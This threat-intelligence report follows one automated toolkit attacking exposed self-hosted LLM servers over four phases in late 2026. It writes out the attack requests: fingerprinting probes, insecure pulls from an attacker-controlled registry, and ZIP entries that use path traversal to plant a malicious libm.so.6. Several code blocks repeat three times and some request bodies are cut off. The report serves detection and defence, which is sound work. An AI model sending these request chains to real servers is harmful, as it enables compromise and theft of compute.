Threat Labs

Nov 25, 2026

One toolkit, four phases: attacks on exposed LLM servers

From September to November 2026 one automated toolkit kept attacking self-hosted LLM servers. It rotated its registries, changed its exploit path four times and kept the same opening probes throughout.

Dot illustration of a server rack with lines converging on it from scattered points

Summary

Observed

Late September to late November 2026, four phases

Classification

Automated exploitation toolkit for self-hosted LLM servers, unattributed, assessed as a Node.js tool

Exploit paths

Pull from an attacker registry with transport security off; ZIP path traversal on model creation

Payload

A shared library planted as libm.so.6 in the server's runner library directories

Assessed objective

GPU compute hijacking

Assessed severity

High for any exposed server that accepts insecure pulls or unpacks archive entries outside its directory

Self-hosted LLM servers expose an HTTP API for listing, pulling, building and running models. Many installs listen on every interface with no authentication, and scanners know it. Between late September and late November 2026 one toolkit kept coming back to the LLM servers on Cygient's sensors. It is scripted rather than agentic: fixed steps, fixed request bodies and between 30 milliseconds and one second between steps.

It is worth following because of how it changed. Across four phases it rotated its registry hosts, added and then dropped a file-upload exploit, collapsed its relay to one address and then spread out again. Its opening probes did not change once.

Timeline

Phase

When

Senders per run

What changed

1

Late September to early October

1 to 5

Pull from a rogue registry; from early October, a ZIP upload and model build as a second route

2

Mid-October (13 days after phase 1)

Several

New registry hosts; a "trigger" model pulled and run after the build

3

Early November (14 days later)

1

Whole chain from one residential address in about 2 s; fake-digest probes added

4

Mid to late November (8 days later)

2, then 3

No upload. Payload pulled straight from the registry; a delete step clears the previous copy

The opening probes

Every run in every phase starts by fingerprinting the target. These requests are the most stable part of the toolkit:

GET  /api/version

POST /api/generate
{"model": "does-not-********", "prompt": "hi", "stream": false

GET  /api/version

POST /api/generate
{"model": "does-not-********", "prompt": "hi", "stream": false

GET  /api/version

POST /api/generate
{"model": "does-not-********", "prompt": "hi", "stream": false

The version call says which release is running. The generate call names a model that does not exist and reads how the server formats the error, which separates a real server from a generic API that answers everything.

From phase 3 on, the toolkit also uploads empty blobs under seven synthetic digests built from repeated hex (ffff…ff, d4b1d4b1…d4b1, 1e1e…1e, aaaa…a1, 2f2f…2f, bbbb…b1, cccc…c1, 64 hex characters each):

POST /api/blobs/sha256:ffffffff…ffff
Content-Length: 0
POST /api/blobs/sha256:ffffffff…ffff
Content-Length: 0
POST /api/blobs/sha256:ffffffff…ffff
Content-Length: 0

A real server checks an upload against its digest. An empty body can never match these values, so the answer shows whether the target validates uploads at all. In phase 3 the full set was sent again 90 seconds after the attack.

Phase 1: a rogue registry, then a ZIP

The first runs tell the server to pull a "model" from a registry given as a raw address and port, with transport security switched off:

POST /api/pull
{"name": "<registry-ip>:98**/gate/tensor***********",
 "insecure": true, "stream": false

POST /api/pull
{"name": "<registry-ip>:98**/gate/tensor***********",
 "insecure": true, "stream": false

POST /api/pull
{"name": "<registry-ip>:98**/gate/tensor***********",
 "insecure": true, "stream": false

The registry belongs to the attacker. Each run splits its steps across one to five unrelated addresses within a second or two: one checks the version, another sends the pull, a third probes again. The pull stage is consistent with CVE-2024-37032, a digest path traversal through a malicious registry manifest that was fixed in version 0.1.34. We did not retrieve the manifests, so the mapping rests on the request shape.

In early October the toolkit added a second route. A Node.js client (axios/1.14.0, the only step that sends a user agent) uploads a ZIP archive as a model blob, and one second later a different address asks the server to build a model from it:

POST /api/blobs/sha256:<payload digest, see Indicators>
Content-Type: application/octet-stream
# body: 298,896-byte ZIP archive

POST /api/create
{"name": "lab-<8 base36 characters>",
 "modelfile": "FROM @sha256:63f29d46…\n"

POST /api/blobs/sha256:<payload digest, see Indicators>
Content-Type: application/octet-stream
# body: 298,896-byte ZIP archive

POST /api/create
{"name": "lab-<8 base36 characters>",
 "modelfile": "FROM @sha256:63f29d46…\n"

POST /api/blobs/sha256:<payload digest, see Indicators>
Content-Type: application/octet-stream
# body: 298,896-byte ZIP archive

POST /api/create
{"name": "lab-<8 base36 characters>",
 "modelfile": "FROM @sha256:63f29d46…\n"

The archive is a stored ZIP (no compression) with 1980 timestamps. It holds a 2-byte config.json and one 59,552-byte x86-64 ELF shared object under five names, each climbing out of the extraction directory toward a place where some release of the server keeps its runner libraries:

../../../../../../../../../../../../tmp/<server>/runners/cpu/libm.so.6
../../../../../../../../../../../../lib/<server>/libm.so.6
../../../../../../../../../../../../usr/lib/<server>/libm.so.6
../../../../../../../../../../../../usr/local/lib/<server>/libm.so.6
../../../../../../../../../../../../opt/<server>/lib/<server>/libm.so.6
../../../../../../../../../../../../tmp/<server>/runners/cpu/libm.so.6
../../../../../../../../../../../../lib/<server>/libm.so.6
../../../../../../../../../../../../usr/lib/<server>/libm.so.6
../../../../../../../../../../../../usr/local/lib/<server>/libm.so.6
../../../../../../../../../../../../opt/<server>/lib/<server>/libm.so.6
../../../../../../../../../../../../tmp/<server>/runners/cpu/libm.so.6
../../../../../../../../../../../../lib/<server>/libm.so.6
../../../../../../../../../../../../usr/lib/<server>/libm.so.6
../../../../../../../../../../../../usr/local/lib/<server>/libm.so.6
../../../../../../../../../../../../opt/<server>/lib/<server>/libm.so.6

libm.so.6 is the C math library, which every model runner loads. Building the model makes the server unpack the archive. On a release that writes archive entries outside the extraction directory, the next model run loads the attacker's library in place of the real one, with the server's privileges. This stage is consistent with CVE-2024-45436, a path traversal in ZIP extraction fixed in version 0.1.47.

The one archive covers the old /tmp/.../runners layout and three current install layouts. The operator does not check the version before firing. Any exposed server gets the whole chain.

The implant

We compared the ELF from two phase 1 runs. They are byte-identical except for one embedded string: the address of a registry host, with its port. So the hosts the pull stage calls registries are the hosts the planted library contacts, and the operator compiles a fresh build for each run with the current host baked in. Hashes therefore change per run and are of little use for matching.

Two build artifacts survive in the binary: the compiler string of a zig-bootstrap toolchain (clang 18.1.6) and a source file named agent.c. Static strings point to GPU hosts as the target. We assess the implant as aimed at hijacking GPU compute, with medium confidence; we did not run it.

The model names give the toolchain away. Each build creates a model named lab- plus eight characters. Decoded from base 36, those characters are a Unix time in milliseconds, within 0.1 seconds of the matching upload:

// What the name suffix is
Date.now().toString(36)            // e.g. "mabc1234" (illustrative value)

// Decoding a suffix back to the upload time
new Date(parseInt(suffix, 36)).toISOString()
// What the name suffix is
Date.now().toString(36)            // e.g. "mabc1234" (illustrative value)

// Decoding a suffix back to the upload time
new Date(parseInt(suffix, 36)).toISOString()
// What the name suffix is
Date.now().toString(36)            // e.g. "mabc1234" (illustrative value)

// Decoding a suffix back to the upload time
new Date(parseInt(suffix, 36)).toISOString()

That is JavaScript's Date.now().toString(36). With the axios client on the upload step, it points to a Node.js toolkit. For a defender it also means one log line is enough: the name dates the build, and the upload and pull sit within seconds of it.

Phase 2: new hosts and a trigger

The registry hosts change. After the build, the toolkit pulls a second, small model from the same registry and runs a generate against it:

POST /api/pull
{"name": "<registry-ip>:98**/trigger/ben**********",
 "insecure": true, "stream": false}

POST /api/generate
{"model": "<registry-ip>:98**/trigger/ben**********",
 "prompt": "hi", "stream": false

POST /api/pull
{"name": "<registry-ip>:98**/trigger/ben**********",
 "insecure": true, "stream": false}

POST /api/generate
{"model": "<registry-ip>:98**/trigger/ben**********",
 "prompt": "hi", "stream": false

POST /api/pull
{"name": "<registry-ip>:98**/trigger/ben**********",
 "insecure": true, "stream": false}

POST /api/generate
{"model": "<registry-ip>:98**/trigger/ben**********",
 "prompt": "hi", "stream": false

That seems meant to make the server start a runner, and load the planted library, at once instead of waiting for a user. The archive grows: 350,776 bytes, then 387,336.

Phase 3: one address, two seconds

The relay disappears. A single residential address runs the whole chain in about two seconds, 30 to 100 milliseconds between steps: version, a fake-digest blob, the missing-model generate, the pull, the same probes again, all seven fake digests, the real archive (569,296 bytes, the largest yet), the build, the trigger pull and the trigger generate. Ninety seconds later it sends the fake-digest set again. Every request carries the axios user agent. The same consumer ISP range had held the uploader in phases 1 and 2.

Phase 4: no archive

The upload is gone. The payload now sits on the registry as a model of its own and is pulled directly. Early phase 4 runs used two addresses. Later runs used three, each with one job, within 5 to 75 seconds:

# R = <registry-ip>:98**, the attacker's registry host and port
# Address A: probes
GET  /api/version
POST /api/blobs/sha256:ffff…ffff
POST /api/generate {"model": "does-not-********", "prompt": "hi", "stream": false}
# Address B: the same probes, then clean up the last copy
DELETE /api/delete {"name": "R/payload/c********"}
# Address C: fetch and fire
POST /api/pull {"name": "R/trigger******", "insecure": true, "stream": false}
POST /api/pull {"name": "R/payload/c********-<registry-ip>-<8 hex>",
                "insecure": true, "stream": false}
POST /api/generate {"model": "R/trigger******", "prompt": "x", "stream": false

# R = <registry-ip>:98**, the attacker's registry host and port
# Address A: probes
GET  /api/version
POST /api/blobs/sha256:ffff…ffff
POST /api/generate {"model": "does-not-********", "prompt": "hi", "stream": false}
# Address B: the same probes, then clean up the last copy
DELETE /api/delete {"name": "R/payload/c********"}
# Address C: fetch and fire
POST /api/pull {"name": "R/trigger******", "insecure": true, "stream": false}
POST /api/pull {"name": "R/payload/c********-<registry-ip>-<8 hex>",
                "insecure": true, "stream": false}
POST /api/generate {"model": "R/trigger******", "prompt": "x", "stream": false

# R = <registry-ip>:98**, the attacker's registry host and port
# Address A: probes
GET  /api/version
POST /api/blobs/sha256:ffff…ffff
POST /api/generate {"model": "does-not-********", "prompt": "hi", "stream": false}
# Address B: the same probes, then clean up the last copy
DELETE /api/delete {"name": "R/payload/c********"}
# Address C: fetch and fire
POST /api/pull {"name": "R/trigger******", "insecure": true, "stream": false}
POST /api/pull {"name": "R/payload/c********-<registry-ip>-<8 hex>",
                "insecure": true, "stream": false}
POST /api/generate {"model": "R/trigger******", "prompt": "x", "stream": false

The delete keeps a stale copy of the payload from being reused. The payload tag carries the registry address and eight hex characters that change per run; we do not know what they encode. One registry host from phase 2 is back in use, and one sender address from phase 2 returned five weeks after it was first seen.

STEPSVversion checkMmissing modelFfake-digest checkPregistry pullUarchive uploadBmodel buildTtrigger pullGgenerateDdeletePHASE 1 · LATE SEPTEMBERspread over many addressesVMPMVUBPHASE 2 · MID-OCTOBERadds a trigger stageVMPUBTGPHASE 3 · EARLY NOVEMBERwhole chain, one addressVFMPUBTGPHASE 4 · NOVEMBERno archive, delete firstVFMFMDTPGTHE ARCHIVE ROUTE (PHASES 1 TO 3)Archive uploadentries climb out:../libm.so.6Model buildthe server unpacksinto library foldersNext model runloads the plantedlibrarySchematic of a typical run in each phase. Each row is one source address.

Assessment

The source addresses are close to worthless as indicators. Runs spread over residential connections and small hosting providers in several countries, most addresses used once, all within seconds. The registry hosts last two to four weeks and are worth blocking at egress. The senders are not.

Phase 4 needs no file upload. Any server that accepts a pull from an arbitrary registry with transport security off can be handed the payload in one request.

The request shapes are what stays constant: a version check, a generate for a model that does not exist, empty uploads under impossible digests and a pull, delete or generate that names a registry by address and port. No legitimate client sends "insecure": true with an address-and-port registry, and none uploads a ZIP whose entry names contain ../.

Confidence

  • High that all four phases are one toolkit: unchanged probes and digest set, the same registry path pattern and port, a returning registry host and a returning sender.

  • High that the phase 1 registry hosts are the implant's C2 (byte comparison of two builds). Medium for the later hosts, inferred from the pattern; their archives and the phase 4 payload were not examined.

  • Medium on the GPU-hijacking objective and on the CVE mapping, both from static analysis and request shapes.

  • Low on attribution.

Techniques

ID

Technique

Procedure observed

T1595.002

Active Scanning: Vulnerability Scanning

Version call, missing-model generate, empty uploads under synthetic digests

T1190

Exploit Public-Facing Application

Insecure pull from an attacker registry; ZIP path traversal on model build

T1105

Ingress Tool Transfer

Payload delivered as a blob upload (phases 1 to 3) or a registry pull (phase 4)

T1608.001

Stage Capabilities: Upload Malware

Payload hosted on the attacker's registry as a model

T1574.006

Hijack Execution Flow: Dynamic Linker Hijacking

libm.so.6 written into runner library directories

T1070

Indicator Removal (closest fit)

Delete of the previous payload copy before each pull

T1090

Proxy

Steps of one run split over up to five unrelated addresses

T1071.001

Application Layer Protocol: Web Protocols

Implant contacts its embedded host over HTTP (from static analysis)

T1496

Resource Hijacking

GPU targeting, assessed from static strings

Indicators

Strings and hashes are half masked. Behavioral indicators are complete.

Type

Value

Registry port

98**

Registry paths

/gate/tensor***********, /trigger/ben**********, /trigger******, /payload/c********

Probe model name

does-not-********

Created model names

lab- + 8 base36 characters (milliseconds since the epoch)

User agent

axios/1.14.0 on upload steps; no user agent on every other step

ZIP sha256 (phase 1)

63f29d469f6ce1376719343620dc2c8a********************************

ZIP sha256 (phase 3)

c2f105032ae7330f8c61057274645449********************************

ELF sha256 (phase 1)

e3d86e2785fe5411646072f3b6cd3218********************************

ELF build strings

zig-bootstrap, clang 18.1.6, agent.c

Archive sizes

298,896, 350,776, 387,336 and 569,296 bytes

Behavior

/api/pull with "insecure": true and an address:port registry

Behavior

/api/blobs upload of a ZIP (PK\x03\x04) whose entry names contain ../

Behavior

/api/create FROM @sha256: of a blob uploaded seconds earlier

Behavior

Empty uploads under repeating-hex digests

Behavior

DELETE /api/delete naming an address:port registry model

What to do

Don't expose an LLM server's API to the internet. Put it behind an authenticating proxy or keep it on a private network.

Allow model pulls only from registries you trust, and refuse pulls that switch off transport security.

Alert on any pull, delete or generate that names a model by address and port, and on a blob upload followed within seconds by a model build.

Keep the server current: both CVEs above were fixed in 2024. Check runner library directories for libm.so.6 or other files you did not install, and treat any outbound connection from an LLM host to an unknown registry as a possible compromise.

References